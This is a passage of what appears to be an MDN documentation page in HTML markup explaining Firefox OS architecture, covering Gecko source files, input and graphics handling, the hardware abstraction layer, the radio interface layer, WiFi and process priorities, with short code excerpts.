codebase, you could use <a href="http://dxr.mozilla.org">http://dxr.mozilla.org</a>. It’s more fancy and provides good reference features, but with limited repositories. Or you could try the traditional <a href="http://mxr.mozilla.org">http://mxr.mozilla.org</a>, which contains more Mozilla projects.</p> -</div> - -<h3 id="Gecko_architecture_diagram">Gecko architecture diagram</h3> - -<p><img alt="" src="https://mdn.mozillademos.org/files/5027/securityframework.png" style="height: 591px; width: 979px;"></p> - -<ul> - <li><strong>Security Framework</strong>: contains - - <ul> - <li><strong>Permission Manager</strong>: Gateway to accessing functionality in the Web API.</li> - <li><strong>Access Control List</strong>: Matrix of roles and permissions required to access Web API functionality.</li> - <li><strong>Credential Validation</strong>: Authentication of apps/users.</li> - <li><strong>Permissions Store</strong>: Set of privileges required to access Web API functionality.</li> - </ul> - </li> - <li><strong>Web API</strong>: Set of standard APIs that exposes hardware functionality to web content. Provides web apps with secure, programmatic access to features in the underlying mobile device hardware, along with data that is stored on—or available to—a device.</li> - <li><strong>I/O</strong>: Interface to the hardware and data store(s).</li> - <li><strong>Software Updates</strong>: Obtain and install updates to system software and third-party apps.</li> - <li><strong>Content Layout & Rendering</strong>: Engine that parses, interprets, and executes web content and, with formatting information, displays the formatted content to the user.</li> - <li><strong>b2g process</strong>: (Gecko) runs in a highly-privileged system process that has access to hardware features in the mobile phone. Running apps are child processes of b2g.</li> -</ul> - -<h3 id="Gecko_files_related_to_Firefox_OS">Gecko files related to Firefox OS</h3> - -<h4 id="b2g_2">b2g/</h4> - -<p>The b2g folder contains mainly Firefox OS-related functions.</p> - -<h5 id="b2gchromecontent">b2g/chrome/content</h5> - -<p>Contains Javascript files run above the system app.</p> - -<h5 id="b2gchromecontentshell.html">b2g/chrome/content/shell.html</h5> - -<p>The entry point into Gaia — the HTML for the system app. <code>shell.html</code> pulls in <code>settings.js</code> and <code>shell.js</code>:</p> - -<pre class="brush: html"><script type="application/javascript;version=1.8" src="chrome://browser/content/settings.js"> </script> -<script type="application/javascript;version=1.8" src="chrome://browser/content/shell.js"> </script></pre> - -<p><code>settings.js</code> contains system default setting parameters.</p> - -<h5 id="b2gchromecontentshell.js">b2g/chrome/content/shell.js</h5> - -<p><code>shell.js</code> is the first script to load in the Gaia <code>system</code> app.</p> - -<p><code>shell.js</code> imports all required modules, registers key listeners, defines <code>sendCustomEvent</code> and <code>sendChromeEvent</code> to communicate with Gaia, and provides webapp install helpers: indexedDB quota, RemoteDebugger, keyboard helper, and screenshot tool.</p> - -<p>But the most important function of <code>shell.js</code> is to launch the Gaia <code>system</code> app, then hand over the overall systems related management work to the Gaia <code>system</code> app.</p> - -<pre class="brush: js">let systemAppFrame = - document.createElementNS('http://www.w3.org/1999/xhtml', 'html:iframe'); - ... - container.appendChild(systemAppFrame);</pre> - -<h5 id="b2gappb2g.js">b2g/app/b2g.js</h5> - -<p>This script contains predefined settings, like about:config in browser, and the same as Gaia's pref.js. These settings can be changed from the Settings app, and can be overwritten with Gaia’s user.js in the Gaia build script.</p> - -<h4 id="domAPI">dom/{API}</h4> - -<p>New API implementations (post-b2g) will be located in <code>dom/</code>. Older APIs will be located in <code>dom/base</code>, for example <code>Navigator.cpp</code>.</p> - -<h5 id="domapps">dom/apps</h5> - -<p><code>.jsm</code> will be loaded — <code>.js</code> API implementations such as <code>webapp.js</code> install, <code>getSelf</code>, etc.</p> - -<h5 id="domappsPermissionsTable.jsm">dom/apps/PermissionsTable.jsm</h5> - -<p>All permissions are defined in <a href="http://mxr.mozilla.org/mozilla-central/source/dom/apps/PermissionsTable.jsm">PermissionsTable.jsm</a></p> - -<h4 id="domwebidl">dom/webidl</h4> - -<p>WebIDL is the language used to define web APIs. For supported attributes, read <a href="https://developer.mozilla.org/en-US/docs/Mozilla/WebIDL_bindings">WebIDL_bindings</a>.</p> - -<h4 id="halgonk">hal/gonk</h4> - -<p>This directory contains files related to the gonk port layer.</p> - -<h4 id="Generated_files">Generated files</h4> - -<h5 id="modulelibprefsrcinitall.js">module/libpref/src/init/all.js</h5> - -<p>Contains all config files.</p> - -<h5 id="systemb2g_omni.ja_and_omni.js">/system/b2g/ omni.ja and omni.js</h5> - -<p>Contains the pack of styles for resources in the device.</p> - -<h3 id="Processing_input_events">Processing input events</h3> - -<p>Most action inside Gecko is triggered by user actions. These actions are represented by input events (such as button presses, touches to a touch screen device, and so forth). These events enter Gecko through the <a href="https://dxr.mozilla.org/mozilla-central/source/widget/gonk/nsAppShell.cpp" rel="custom">Gonk implementation</a> of <code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIAppShell" title="">nsIAppShell</a></code>, a Gecko interface that is used to represent the primary entrance points for a Gecko application; that is, the input device driver calls methods on the <code>nsAppShell</code> object that represents the Gecko subsystem in order to send events to the user interface.</p> - -<p>For example:</p> - -<pre class="brush:cpp;">void GeckoInputDispatcher::notifyKey(nsecs_t eventTime, - int32_t deviceId, - int32_t source, - uint32_t policyFlags, - int32_t action, - int32_t flags, - int32_t keyCode, - int32_t scanCode, - int32_t metaState, - nsecs_t downTime) { - UserInputData data; - data.timeMs = nanosecsToMillisecs(eventTime); - data.type = UserInputData::KEY_DATA; - data.action = action; - data.flags = flags; - data.metaState = metaState; - data.key.keyCode = keyCode; - data.key.scanCode = scanCode; - { - MutexAutoLock lock(mQueueLock); - mEventQueue.push(data); - } - gAppShell->NotifyNativeEvent(); -}</pre> - -<p>These events come from the standard Linux <code>input_event</code> system. Firefox OS uses a <a href="https://dxr.mozilla.org/mozilla-central/source/widget/gonk/libui/InputReader.cpp" rel="custom">light abstraction layer</a> over that; this provides some nice features like event filtering. You can see the code that creates input events in the <code>EventHub::getEvents()</code> method in <a href="https://dxr.mozilla.org/mozilla-central/source/widget/gonk/libui/EventHub.cpp" rel="custom">widget/gonk/libui/EventHub.cpp</a>.</p> - -<p>Once the events are received by Gecko, they're dispatched into the DOM by <code><a href="https://dxr.mozilla.org/mozilla-central/source/widget/gonk/nsAppShell.cpp" rel="custom">nsAppShell</a></code>:</p> - -<pre class="brush:cpp;">static nsEventStatus sendKeyEventWithMsg(uint32_t keyCode, - uint32_t msg, - uint64_t timeMs, - uint32_t flags) { - nsKeyEvent event(true, msg, NULL); - event.keyCode = keyCode; - event.location = nsIDOMKeyEvent::DOM_KEY_LOCATION_MOBILE; - event.time = timeMs; - event.flags |= flags; - return nsWindow::DispatchInputEvent(event); -} -</pre> - -<p>After that, the events are either consumed by Gecko itself or are dispatched to Web applications as <a href="/en-US/docs/DOM_Client_Object_Cross-Reference/DOM_Events" title="/en-US/docs/DOM_Client_Object_Cross-Reference/DOM_Events">DOM events</a> for further processing.</p> - -<h3 id="Graphics">Graphics</h3> - -<p>At the very lowest level, Gecko uses <a href="http://www.khronos.org/opengles/2_X/" title="http://www.khronos.org/opengles/2_X/">OpenGL ES 2.0</a> to draw to a GL context that wraps the hardware frame buffers. This is done in the Gonk implementation of <code><a href="https://dxr.mozilla.org/mozilla-central/source/widget/gonk/nsWindow.cpp" rel="custom">nsWindow</a></code> by code similar to this:</p> - -<pre class="brush:cpp;">gNativeWindow = new android::FramebufferNativeWindow(); -sGLContext = GLContextProvider::CreateForWindow(this);</pre> - -<p>The <code>FramebufferNativeWindow</code> class is brought in directly from Android; see <a href="https://github.com/android/platform_frameworks_base/blob/ics-mr1-release/libs/ui/FramebufferNativeWindow.cpp" title="https://github.com/android/platform_frameworks_base/blob/ics-mr1-release/libs/ui/FramebufferNativeWindow.cpp"><code>FramebufferNativeWindow.cpp</code></a>. This uses the <strong>gralloc</strong> API to access the graphics driver in order to map buffers from the framebuffer device into memory.</p> - -<p>Gecko uses its <a href="/en-US/docs/Gecko/Layers" title="/en-US/docs/Gecko/Layers">Layers</a> system to composite drawn content to the screen. In summary, what happens is this:</p> - -<ol> - <li>Gecko draws separate regions of pages into memory buffers. Sometimes these buffers are in system memory; other times, they're textures mapped into Gecko's address space, which means that Gecko is drawing directly into video memory. This is typically done in the method <a href="http://mxr.mozilla.org/mozilla-central/source/gfx/layers/basic/BasicThebesLayer.cpp#83" title="http://mxr.mozilla.org/mozilla-central/source/gfx/layers/basic/BasicThebesLayer.cpp#201"><code>BasicThebesLayer::PaintThebes()</code></a>.</li> - <li>Gecko then composites all of these textures to the screen using OpenGL commands. This composition occurs in <a href="http://mxr.mozilla.org/mozilla-central/source/gfx/layers/opengl/ThebesLayerOGL.cpp#124" title="http://mxr.mozilla.org/mozilla-central/source/gfx/layers/basic/BasicThebesLayer.cpp#201"><code>ThebesLayerOGL::RenderTo()</code></a>.</li> -</ol> - -<p>The details of how Gecko handles the rendering of web content is outside the scope of this document.</p> - -<h3 id="Hardware_Abstraction_Layer_(HAL)">Hardware Abstraction Layer (HAL)</h3> - -<p>The Gecko hardware abstraction layer is one of the porting layers of Gecko. It handles low-level access to system interfaces across multiple platforms using a C++ API that's accessible to the higher levels of Gecko. These APIs are implemented on a per-platform basis inside the Gecko HAL itself. This hardware abstraction layer is not exposed directly to JavaScript code in Gecko — this part of the itneraction is handled by the Web APIs.</p> - -<p>Let's look at the process form a high level. When a user makes a request to use a phone feature (such as dialing a number, accessing a local wifi network, or connecting via Bluetooth), all layers in the Firefox OS technology stack are involved in carrying out the request. Apps and web content in the Gaia layer submits requests to access the underlying device via Web API calls (invoked from within HTML5 functions), which are implemented in Gecko. Gecko in turn submits the request to Gonk. A single request from Gecko can trigger a complex series of operations, initiated and managed by Gonk, in the mobile phone.</p> - -<h4 id="How_the_HAL_works">How the HAL works</h4> - -<p>Let's consider the <a href="/ru/docs/Web/API/Window/navigator/vibrate" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>Vibration</code></a> API as an example. The Gecko HAL for this API is defined in <a href="https://dxr.mozilla.org/mozilla-central/source/hal/Hal.h" rel="custom">hal/Hal.h</a>. In essence (simplifying the method signature for clarity's sake), you have this function:</p> - -<pre>void Vibrate(const nsTArray<uint32> &pattern);</pre> - -<p>This is the function called by Gecko code to turn on vibration of the device according to the specified pattern; a corresponding function exists to cancel any ongoing vibration. The Gonk implementation of this method is in <a href="https://dxr.mozilla.org/mozilla-central/source/hal/gonk/GonkHal.cpp" rel="custom">hal/gonk/GonkHal.cpp</a>:</p> - -<pre class="brush:cpp;">void Vibrate(const nsTArray<uint32_t> &pattern) { - EnsureVibratorThreadInitialized(); - sVibratorRunnable->Vibrate(pattern); -} -</pre> - -<p>This code sends the request to start vibrating the device to another thread, which is implemented in <code>VibratorRunnable::Run()</code>. This thread's main loop looks like this:</p> - -<pre class="brush:cpp;">while (!mShuttingDown) { - if (mIndex < mPattern.Length()) { - uint32_t duration = mPattern[mIndex]; - if (mIndex % 2 == 0) { - vibrator_on(duration); - } - mIndex++; - mMonitor.Wait(PR_MillisecondsToInterval(duration)); - } - else { - mMonitor.Wait(); - } -} -</pre> - -<p><code>vibrator_on()</code> is the Gonk HAL API that turns on the vibrator motor. Internally, this method sends a message to the kernel driver by writing a value to a kernel object using <code>sysfs</code>.</p> - -<h4 id="Fallback_HAL_API_implementations">Fallback HAL API implementations</h4> - -<p>The Gecko HAL APIs are supported across all platforms. When Gecko is built for a platform that doesn't expose an interface to vibration motors (such as a desktop computer), then a fallback implementation of the HAL API is used. For vibration, this is implemented in <a href="https://dxr.mozilla.org/mozilla-central/source/hal/fallback/FallbackVibration.cpp" rel="custom">hal/fallback/FallbackVibration.cpp</a>.</p> - -<pre class="brush:cpp;">void Vibrate(const nsTArray<uint32_t> &pattern) { -}</pre> - -<h4 id="Sandbox_implementations">Sandbox implementations</h4> - -<p>Because most web content runs in content processes with low privileges, we can't assume those processes have the privileges needed to be able to (for example), turn on and off the vibration motor. In addition, we want to have a central location for handling potential race conditions. In the Gecko HAL, this is done through a "sandbox" implementation of the HAL. This sandbox implementation simply proxies requests made by content processes and forwards them to the "Gecko server" process. The proxy requests are sent using IPDL.</p> - -<p>For vibration, this is handled by the <code>Vibrate()</code> function implemented in <a href="https://dxr.mozilla.org/mozilla-central/source/hal/sandbox/SandboxHal.cpp" rel="custom">hal/sandbox/SandboxHal.cpp</a>:</p> - -<pre class="brush:cpp;">void Vibrate(const nsTArray<uint32_t>& pattern, const WindowIdentifier &id) { - AutoInfallibleTArray<uint32_t, 8> p(pattern); - - WindowIdentifier newID(id); - newID.AppendProcessID(); - Hal()->SendVibrate(p, newID.AsArray(), GetTabChildFrom(newID.GetWindow())); -}</pre> - -<p>This sends a message defined by the <code>PHal</code> interface, described by IPDL in <a href="https://dxr.mozilla.org/mozilla-central/source/hal/sandbox/PHal.ipdl" rel="custom">hal/sandbox/PHal.ipdl</a>. This method is described more or less as follows:</p> - -<pre>Vibrate(uint32_t[] pattern);</pre> - -<p>The receiver of this message is the <code>HalParent::RecvVibrate()</code> method in <a href="https://dxr.mozilla.org/mozilla-central/source/hal/sandbox/SandboxHal.cpp" rel="custom">hal/sandbox/SandboxHal.cpp</a>, which looks like this:</p> - -<pre class="brush:cpp;">virtual bool RecvVibrate(const InfallibleTArray<unsigned int>& pattern, - const InfallibleTArray<uint64_t> &id, - PBrowserParent *browserParent) MOZ_OVERRIDE { - - hal::Vibrate(pattern, newID); - return true; -}</pre> - -<p>This omits some details that aren't relevant to this discussion; however, it shows how the message progresses from a content process through Gecko to Gonk, then to the Gonk HAL implementation of <code>Vibrate()</code>, and eventually to the Vibration driver.</p> - -<h3 id="DOM_APIs">DOM APIs</h3> - -<p><strong>DOM interfaces</strong> are, in essence, how web content communicates with Gecko. There's more involved than that, and if you're interested in added details, you can read <a href="/en-US/docs/DOM/About_the_Document_Object_Model" title="/en-US/docs/DOM/About_the_Document_Object_Model">about the DOM</a>. DOM interfaces are defined using <a href="/en-US/docs/XPIDL" title="/en-US/docs/XPIDL">IDL</a>, which comprises both a foreign function interface (FFI) and object model (OM) between JavaScript and C++.</p> - -<p>The vibration API is exposed to web content through an IDL interface, which is provided in <code><a href="https://dxr.mozilla.org/mozilla-central/source/dom/interfaces/base/nsIDOMNavigator.idl" rel="custom">nsIDOMNavigator.idl</a>:</code></p> - -<pre>[implicit_jscontext] void mozVibrate(in jsval aPattern);</pre> - -<p>The <a href="/en-US/docs/SpiderMonkey/JSAPI_Reference/Jsval" title="/en-US/docs/SpiderMonkey/JSAPI_Reference/JSVAL_IS_OBJECT"><code>jsval</code></a> argument indicates that <code>mozVibrate()</code> (which is our vendor-prefixed implementation of this non-finalized vibration specification) accepts as input any JavaScript value. The IDL compiler, <a href="/en-US/docs/XPIDL/xpidl" title="/en-US/docs/XPIDL/xpidl"><code>xpidl</code></a>, generates a C++ interface that's then implemented by the <code>Navigator</code> class in <code><a href="https://dxr.mozilla.org/mozilla-central/source/dom/base/Navigator.cpp" rel="custom">Navigator.cpp</a></code>.</p> - -<pre class="brush:cpp;">NS_IMETHODIMP Navigator::MozVibrate(const jsval& aPattern, JSContext* cx) { - // ... - hal::Vibrate(pattern); - return NS_OK; -}</pre> - -<p>There's a lot more code in this method than what you see here, but it's not important for the purposes of this discussion. The point is that the call to <code>hal::Vibrate()</code> transfers control from the DOM to the Gecko HAL. From there, we enter the HAL implementation discussed in the previous section and work our way down toward the driver. On top of that, the DOM implementation doesn't care at all what platform it's running on (Gonk, Windows, OS X, or anything else). It also doesn't care whether the code is running in a content process or in the Gecko server process. Those details are all left to lower levels of the system to deal with.</p> - -<p>The vibration API is a very simple API, which makes it a good example. The <a href="/en-US/docs/API/WebSMS" title="/en-US/docs/API/WebSMS">SMS API</a> is an example of a more complex API which uses its own "remoting" layer connecting content processes to the server.</p> - -<h2 id="Radio_Interface_Layer_(RIL)">Radio Interface Layer (RIL)</h2> - -<p>The RIL was mentioned in the section <a href="#The_userspace_process_architecture">The userspace process architecture</a>. This section will examine how the various pieces of this layer interact in a bit more detail.</p> - -<p>The main components involved in the RIL are:</p> - -<dl> - <dt><code>rild</code></dt> - <dd>The daemon that talks to the proprietary modem firmware.</dd> - <dt><code>rilproxy</code></dt> - <dd>The daemon that proxies messages between <code>rild</code> and Gecko (which is implemented in the <code>b2g</code> process). This overcomes the permission problem that arises when trying to talk to <code>rild</code> directly, since <code>rild</code> can only be communicated with from within the <code>radio</code> group.</dd> - <dt><code>b2g</code></dt> - <dd>This process, also known as the <strong>chrome process</strong>, implements Gecko. The portions of it that relate to the Radio Interface Layer are <a href="https://dxr.mozilla.org/mozilla-central/source/dom/system/gonk/ril_worker.js" rel="custom">dom/system/gonk/ril_worker.js</a>, which implements a worker thread that talks to <code>rild</code> through <code>rilproxy</code> and implements the radio state machine; and the <code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIRadioInterfaceLayer" title="">nsIRadioInterfaceLayer</a></code> interface, which is the main thread's <a href="/en-US/docs/XPCOM" title="/en-US/docs/XPCOM">XPCOM</a> service that acts primarily as a message exchange between the <code>ril_worker.js</code> thread and various other Gecko components, including the Gecko content process.</dd> - <dt>Gecko's content process</dt> - <dd>Within Gecko's content process, the <code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIRILContentHelper" title="">nsIRILContentHelper</a></code> interface provides an XPCOM service that lets code implementing parts of the DOM, such as the <a href="/en-US/docs/API/WebTelephony" title="/en-US/docs/API/WebTelephony">Telephony</a> and <a href="/en-US/docs/API/WebSMS" title="/en-US/docs/API/WebSMS">SMS</a> APIs talk to the radio interface, which is in the chrome process.</dd> -</dl> - -<h3 id="Example_Communicating_from_rild_to_the_DOM">Example: Communicating from rild to the DOM</h3> - -<p>Let's take a look at an example of how the lower level parts of the system communicate with DOM code. When the modem receives an incoming call, it notifies <code>rild</code> using a proprietary mechanism. <code>rild</code> then prepares a message for its client according to the "open" protocol, which is described in <a href="https://github.com/mozilla-b2g/android-hardware-ril/blob/master/include/telephony/ril.h" title="https://github.com/mozilla-b2g/android-hardware-ril/blob/master/include/telephony/ril.h"><code>ril.h</code></a>. In the case of an incoming call, a <code>RIL_UNSOL_RESPONSE_CALL_STATE_CHANGED</code> message is generated and sent by <code>rild</code> to <code>rilproxy</code>.</p> - -<p><code>rilproxy</code>, implemented in <a href="https://github.com/mozilla-b2g/rilproxy/blob/master/src/rilproxy.c" title="https://github.com/mozilla-b2g/rilproxy/blob/master/src/rilproxy.c"><code>rilproxy.c</code></a>, receives this message in its main loop, which polls its connection to <code>rild</code> using code like this:</p> - -<pre class="brush:cpp;">ret = read(rilproxy_rw, data, 1024); - -if(ret > 0) { - writeToSocket(rild_rw, data, ret); -}</pre> - -<p>Once the message is received from <code>rild</code>, it's then forwarded along to Gecko on the socket that connects <code>rilproxy</code> to Gecko. Gecko receives the forwarded message on its <a href="https://dxr.mozilla.org/mozilla-central/source/ipc/ril/Ril.cpp" rel="custom">IPC thread</a>:</p> - -<pre class="brush:cpp;">int ret = read(fd, mIncoming->Data, 1024); -// ... handle errors ... -mIncoming->mSize = ret; -sConsumer->MessageReceived(mIncoming.forget()); -</pre> - -<p>The consumer of these messages is <a href="https://dxr.mozilla.org/mozilla-central/source/dom/system/gonk/SystemWorkerManager.cpp" rel="custom">SystemWorkerManager</a>, which repackages the messages and dispatches them to the <code><a href="https://dxr.mozilla.org/mozilla-central/source/dom/system/gonk/ril_worker.js" rel="custom">ril_worker.js</a></code> thread that implements the RIL state machine; this is done in the <code>RILReceiver::MessageReceived()</code> method:</p> - -<pre class="brush:cpp;">virtual void MessageReceived(RilRawData *aMessage) { - nsRefPtr<DispatchRILEvent> dre(new DispatchRILEvent(aMessage)); - mDispatcher->PostTask(dre); -}</pre> - -<p>The task posted to that thread in turn calls the <code>onRILMessage()</code> function, which is implemented in JavaScript. This is done using the JavaScript API function <code><a href="/en-US/docs/SpiderMonkey/JSAPI_Reference/JS_CallFunctionName" title="/en-US/docs/SpiderMonkey/JSAPI_Reference/JS_CallFunctionName">JS_CallFunctionName</a>()</code>:</p> - -<pre>return JS_CallFunctionName(aCx, obj, "onRILMessage", NS_ARRAY_LENGTH(argv), - argv, argv);</pre> - -<p><code>onRILMessage()</code> is implemented in <a href="https://dxr.mozilla.org/mozilla-central/source/dom/system/gonk/ril_worker.js" rel="custom">dom/system/gonk/ril_worker.js</a>, which processes the message bytes and chops them into parcels. Each complete parcel is then dispatched to individual handler methods as appropriate:</p> - -<pre class="brush:js;">handleParcel: function handleParcel(request_type, length) { - let method = this[request_type]; - if (typeof method == "function") { - if (DEBUG) debug("Handling parcel as " + method.name); - method.call(this, length); - } -} -</pre> - -<p>This code works by getting the request type from the object, making sure it's defined as a function in the JavaScript code, then calling the method. Since ril_worker.js implements each request type in a method given the same name as the request type, this is very simple.</p> - -<p>In our example, <code>RIL_UNSOL_RESPONSE_CALL_STATE_CHANGED</code>, the following handler is called:</p> - -<pre class="brush:js;">RIL[UNSOLICITED_RESPONSE_CALL_STATE_CHANGED] = function UNSOLICITED_RESPONSE_CALL_STATE_CHANGED() { - this.getCurrentCalls(); -};</pre> - -<p>As you see in the code above, when notification is received that the call state has changed, the state machine simply fetches the current call state by calling the <code>getCurrentCall()</code> method:</p> - -<pre class="brush:js;">getCurrentCalls: function getCurrentCalls() { - Buf.simpleRequest(REQUEST_GET_CURRENT_CALLS); -}</pre> - -<p>This sends a request back to <code>rild</code> to request the state of all currently active calls. The request flows back along a similar path the <code>RIL_UNSOL_RESPONSE_CALL_STATE_CHANGED</code> message followed, but in the opposite direction (that is, from <code>ril_worker.js</code> to <code>SystemWorkerManager</code> to <code>Ril.cpp</code>, then <code>rilproxy</code> and finally to the <code>rild</code> socket). <code>rild</code> then responds in kind, back along the same path, eventually arriving in <code>ril_worker.js</code>'s handler for the <code>REQUEST_GET_CURRENT_CALLS</code> message. And thus bidirectional communication occurs.</p> - -<p>The call state is then processed and compared to the previous state; if there's a change of state, ril_worker.js notifies the <code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIRadioInterfaceLayer" title="">nsIRadioInterfaceLayer</a></code> service on the main thread:</p> - -<pre class="brush:js;">_handleChangedCallState: function _handleChangedCallState(changedCall) { - let message = {type: "callStateChange", - call: changedCall}; - this.sendDOMMessage(message); -}</pre> - -<p><code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIRadioInterfaceLayer" title="">nsIRadioInterfaceLayer</a></code> is implemented in <a href="https://dxr.mozilla.org/mozilla-central/source/dom/system/gonk/RadioInterfaceLayer.js" rel="custom">dom/system/gonk/RadioInterfaceLayer.js</a>; the message is received by its <code>onmessage()</code> method:</p> - -<pre class="brush:js;"> onmessage: function onmessage(event) { - let message = event.data; - debug("Received message from worker: " + JSON.stringify(message)); - switch (message.type) { - case "callStateChange": - // This one will handle its own notifications. - this.handleCallStateChange(message.call); - break; - ... -</pre> - -<p>All this really does is dispatch the message to the content process using the Parent Process Message Manager (PPMM):</p> - -<pre class="brush:js;">handleCallStateChange: function handleCallStateChange(call) { - [some internal state updating] - ppmm.sendAsyncMessage("RIL:CallStateChanged", call); -}</pre> - -<p>In the content process, the message is received by <code>receiveMessage()</code> method in the <code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIRILContentHelper" title="">nsIRILContentHelper</a></code> service, from the Child Process Message Manager (CPMM):</p> - -<pre class="brush:js;">receiveMessage: function receiveMessage(msg) { - let request; - debug("Received message '" + msg.name + "': " + JSON.stringify(msg.json)); - switch (msg.name) { - case "RIL:CallStateChanged": - this._deliverTelephonyCallback("callStateChanged", - [msg.json.callIndex, msg.json.state, - msg.json.number, msg.json.isActive]); - break;</pre> - -<p>This, in turn, calls the <code><a href="https://developer.mozilla.org/ru/docs/XPCOM_Interface_Reference/nsIRILTelephonyCallback#callStateChanged()">nsIRILTelephonyCallback.callStateChanged()</a></code> methods on every registered telephony callback object. Every web application that accesses the <a href="/ru/docs/Web/API/Window/navigator/mozTelephony" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>window.navigator.mozTelephony</code></a> API has registered one such callback object that dispatches events to the JavaScript code in the web application, either as a state change of an existing call object or a new <code>incoming</code> call event.</p> - -<pre class="brush:cpp;">NS_IMETHODIMP Telephony::CallStateChanged(PRUint32 aCallIndex, PRUint16 aCallState, - const nsAString& aNumber, bool aIsActive) { - [...] - - if (modifiedCall) { - // Change state. - modifiedCall->ChangeState(aCallState); - - // See if this should replace our current active call. - if (aIsActive) { - mActiveCall = modifiedCall; - } - - return NS_OK; - } - - nsRefPtr<TelephonyCall> call = - TelephonyCall::Create(this, aNumber, aCallState, aCallIndex); - nsRefPtr<CallEvent> event = CallEvent::Create(call); - nsresult rv = event->Dispatch(ToIDOMEventTarget(), NS_LITERAL_STRING("incoming")); - NS_ENSURE_SUCCESS(rv, rv); - return NS_OK; -}</pre> - -<p>Applications can receive these events and update their user interface and so forth:</p> - -<pre class="brush:js;">handleEvent: function fm_handleEvent(evt) { - switch (evt.call.state) { - case 'connected': - this.connected(); - break; - case 'disconnected': - this.disconnected(); - break; - default: - break; - } -}</pre> - -<p>Take a look at the implementation of <a href="https://github.com/mozilla-b2g/gaia/blob/master/apps/communications/dialer/js/dialer.js" title="https://github.com/mozilla-b2g/gaia/blob/master/apps/communications/dialer/js/dialer.js"><code>handleEvent()</code> in the Dialer application</a> as an extended example.</p> - -<h3 id="3G_data">3G data</h3> - -<p>There is a RIL message that initiates a "data call" to the cellular service; this enables data transfer mode in the modem. This data call ends up creating and activating a <a href="https://ru.wikipedia.org/wiki/Point-to-Point Protocol" title="Point-to-Point Protocol">Point-to-Point Protocol</a> (PPP) interface device in the Linux kernel that can be configured using the usual interfaces.</p> - -<div class="note"> -<p><strong>Note:</strong> This section needs to be written.</p> -</div> - -<h3 id="Related_DOM_APIs">Related DOM APIs</h3> - -<p>This section lists DOM APIs that are related to RIL communications:</p> - -<ul> - <li><a href="/en-US/docs/API/WebTelephony/Introduction_to_WebTelephony" title="/en-US/docs/API/WebTelephony/Introduction_to_WebTelephony">Telephony API</a></li> - <li><a href="/en-US/docs/API/WebSMS/Introduction_to_WebSMS" title="/en-US/docs/API/WebSMS/Introduction_to_WebSMS">SMS API</a></li> - <li>Mobile Connection API</li> -</ul> - -<h2 id="WiFi">WiFi</h2> - -<p>The WiFi backend for Firefox OS simply uses <code>wpa_supplicant</code> to do most of the work. That means that the backend's primary job is to simply manage the supplicant, and to do some auxiliary tasks such as loading the WiFi driver and enabling or disabling the network interface. In essence, this means that the backend is a state machine, with the states following the state of the supplicant.</p> - -<div class="note"> -<p><strong>Note:</strong> Much of the interesting stuff that happens in WiFi depends deeply on possible state changes in the <code>wpa_supplicant</code> process.</p> -</div> - -<p>The implementation of the WiFi component is broken up into two files:</p> - -<dl> - <dt><a href="https://dxr.mozilla.org/mozilla-central/source/dom/wifi/DOMWifiManager.js" rel="custom">dom/wifi/DOMWifiManager.js</a></dt> - <dd>Implements the API that's exposed to web content, as defined in <code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIWifi.idl" title="">nsIWifi.idl</a></code>.</dd> - <dt><a href="https://dxr.mozilla.org/mozilla-central/source/dom/wifi/WifiWorker.js" rel="custom">dom/wifi/WifiWorker.js</a></dt> - <dd>Implements the state machine and the code that drives the supplicant.</dd> -</dl> - -<p>These two files communicate with one another using the <a href="/en-US/docs/The_message_manager" title="/en-US/docs/The_message_manager">message manager</a>. The backend listens for messages requesting certain actions, such as "associate", and responds with a message when the requested action has been completed.</p> - -<p>The DOM side listens for the response methods as well as several event messages that indicate state changes and information updates.</p> - -<div class="note"> -<p><strong>Note:</strong> Any synchromous DOM APIs are implemented by caching data on that side of the pipe. Synchronous messages are avoided whenever possible.</p> -</div> - -<h3 id="WifiWorker.js">WifiWorker.js</h3> - -<p>This file implements the main logic behind the WiFi interface. It runs in the chrome process (in multi-process builds) and is instantiated by the SystemWorkerManager. The file is generally broken into two sections: a giant anonymous function and <code>WifiWorker</code> (and its prototype). The anonymous function ends up being the <code>WifiManager</code> by providing a local API, including notifications for events such as connection to the supplicant and scan results being available. In general, it contains little logic and lets its sole consumer control its actions while it simply responds with the requested information and controls the details of the connection with the supplicant.</p> - -<p>The <code>WifiWorker</code> object sits between the <code>WifiManager</code> and the DOM. It reacts to events and forwards them to the DOM; in turn, it receives requests from the DOM and performs the appropriate actions on the supplicant. It also maintains state information about the supplicant and what it needs to do next.</p> - -<h3 id="DOMWifiManager.js">DOMWifiManager.js</h3> - -<p>This implements the DOM API, transmitting messages back and forth between callers and the actual WiFi worker. There's very little logic involved.</p> - -<div class="note"> -<p><strong>Note:</strong> In order to avoid synchronous messages to the chrome process, the WiFi Manager does need to cache the state based on the received event.</p> -</div> - -<p>There's a single synchronous message, which is sent at the time the DOM API is instantiated, in order to get the current state of the supplicant.</p> - -<h3 id="DHCP">DHCP</h3> - -<p>DHCP and DNS are handled by <code>dhcpcd</code>, the standard Linux DHCP client. However, it's not able to react when the network connection is lost. Because of this, Firefox OS kills and restarts <code>dhcpcd</code> each time it connects to a given wireless network.</p> - -<p><code>dhcpcd</code> is also responsible for setting the default route; we call into the network manager to tell the kernel about DNS servers.</p> - -<h2 id="Network_Manager">Network Manager</h2> - -<p>The Network Manager configures network interfaces opened by the 3G data and WiFi components.</p> - -<div class="note"> -<p><strong>Note:</strong> This needs to be written.</p> -</div> - -<h2 id="Processes_and_threads">Processes and threads</h2> - -<p>Firefox OS uses POSIX threads to implement all application threads, this includes the main thread of each application as well as Web workers and helper threads. Nice values are used prioritize process and thread execution thus relying on the standard Linux kernel scheduler. Depending on the status of a process we assign it a different nice level. We've currently got 7 levels:</p> - -<table class="standard-table"> - <caption>Process priority levels</caption> - <thead> - <tr> - <th scope="col">Priority</th> - <th scope="col">Nice</th> - <th scope="col">Used for</th> - </tr> - </thead> - <tbody> - <tr> - <td><code>MASTER</code></td> - <td>0</td> - <td>main b2g process</td> - </tr> - <tr> - 